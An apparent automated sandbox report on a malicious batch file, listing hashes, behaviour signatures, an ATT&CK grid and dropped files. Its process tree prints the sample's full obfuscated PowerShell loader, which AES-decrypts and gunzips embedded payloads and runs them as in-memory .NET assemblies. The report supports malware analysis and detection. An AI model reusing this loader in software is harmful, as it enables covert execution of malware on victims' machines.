5a38a43e7227ffb333f7350275f119c6d9dd94b8bcd278732501fb48302edefc

Analysis

max time kernel
28s
max time network
31s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
02/06/2023, 21:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1.bat
Size

53KB
MD5

ec8c17c00514ef283f47eada16a9353f
SHA1

c51c24ba6f64ad209da8a4fd8c6db932b151da57
SHA256

5a38a43e7227ffb333f7350275f119c6d9dd94b8bcd278732501fb48302edefc
SHA512

9247bc9cda4ab25c562cea815a81124d56507966c39ecfb1cf484e24317ce538c574c2857de7a7048cbedc5952c5da8c0853f05d67b72957739b27acc5c17484
SSDEEP

1536:cGoAhinrWL+ALprkrDxefHnFylU8Nn5BPrf:ZoznrbALpelNnTP7

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
960	1.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
960	1.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
916	powershell.exe
960	1.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	960	1.bat.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 916	1716	cmd.exe	29
PID 1716 wrote to memory of 916	1716	cmd.exe	29
PID 1716 wrote to memory of 916	1716	cmd.exe	29
PID 1716 wrote to memory of 960	1716	cmd.exe	30
PID 1716 wrote to memory of 960	1716	cmd.exe	30
PID 1716 wrote to memory of 960	1716	cmd.exe	30
PID 1716 wrote to memory of 960	1716	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c #
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:916
- C:\Users\Admin\AppData\Local\Temp\1.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\1.bat.exe" $ClZY='LocGkfacGkfdcGkf'.Replace('cGkf', '');$Cosg='ReadcGkfLincGkfescGkf'.Replace('cGkf', '');$CKgZ='ChacGkfngcGkfeEcGkfxtecGkfnsicGkfoncGkf'.Replace('cGkf', '');$mdDK='CrcGkfeatecGkfDecGkfcrcGkfycGkfptorcGkf'.Replace('cGkf', '');$dpRd='TcGkfracGkfncGkfscGkfforcGkfmcGkfFcGkfinalcGkfBcGkfloccGkfkcGkf'.Replace('cGkf', '');$TfJi='GetCcGkfucGkfrcGkfrcGkfecGkfntPcGkfrocGkfcescGkfscGkf'.Replace('cGkf', '');$ZaLV='MaicGkfnMocGkfdulecGkf'.Replace('cGkf', '');$YvXE='EncGkftcGkfrycGkfPocGkfintcGkf'.Replace('cGkf', '');$yvfJ='FcGkfircGkfstcGkf'.Replace('cGkf', '');$nlTT='IcGkfnvcGkfokcGkfecGkf'.Replace('cGkf', '');$xbeG='ScGkfplcGkfitcGkf'.Replace('cGkf', '');$dIab='FcGkfrocGkfmBacGkfsecGkf64cGkfStcGkfrincGkfgcGkf'.Replace('cGkf', '');function YGKaC($qnjQQ){$YTqCE=[System.Security.Cryptography.Aes]::Create();$YTqCE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$YTqCE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$YTqCE.Key=[System.Convert]::$dIab('tnhK18G6AEhO+6UA39Ny8OROXuxQ7/wL8/6fO39b1SY=');$YTqCE.IV=[System.Convert]::$dIab('01lBIYEpZO5++Co5QPW0Pw==');$MuNSz=$YTqCE.$mdDK();$XtiHW=$MuNSz.$dpRd($qnjQQ,0,$qnjQQ.Length);$MuNSz.Dispose();$YTqCE.Dispose();$XtiHW;}function fCuOF($qnjQQ){$lbzbE=New-Object System.IO.MemoryStream(,$qnjQQ);$snKTq=New-Object System.IO.MemoryStream;$dKObF=New-Object System.IO.Compression.GZipStream($lbzbE,[IO.Compression.CompressionMode]::Decompress);$dKObF.CopyTo($snKTq);$dKObF.Dispose();$lbzbE.Dispose();$snKTq.Dispose();$snKTq.ToArray();}$wXZyX=[System.Linq.Enumerable]::$yvfJ([System.IO.File]::$Cosg([System.IO.Path]::$CKgZ([System.Diagnostics.Process]::$TfJi().$ZaLV.FileName, $null)));$AiqYs=$wXZyX.Substring(3).$xbeG(':');$TXfSg=fCuOF (YGKaC ([Convert]::$dIab($AiqYs[0])));$wjSXh=fCuOF (YGKaC ([Convert]::$dIab($AiqYs[1])));[System.Reflection.Assembly]::$ClZY([byte[]]$wjSXh).$YvXE.$nlTT($null,$null);[System.Reflection.Assembly]::$ClZY([byte[]]$TXfSg).$YvXE.$nlTT($null,$null);
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:960

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/916-58-0x000000001AFC0000-0x000000001B2A2000-memory.dmp

Filesize
2.9MB

Download
memory/916-59-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/916-60-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/916-61-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/916-62-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/916-63-0x00000000024BB000-0x00000000024F2000-memory.dmp

Filesize
220KB

Download
memory/960-69-0x00000000005F0000-0x0000000000630000-memory.dmp

Filesize
256KB

Download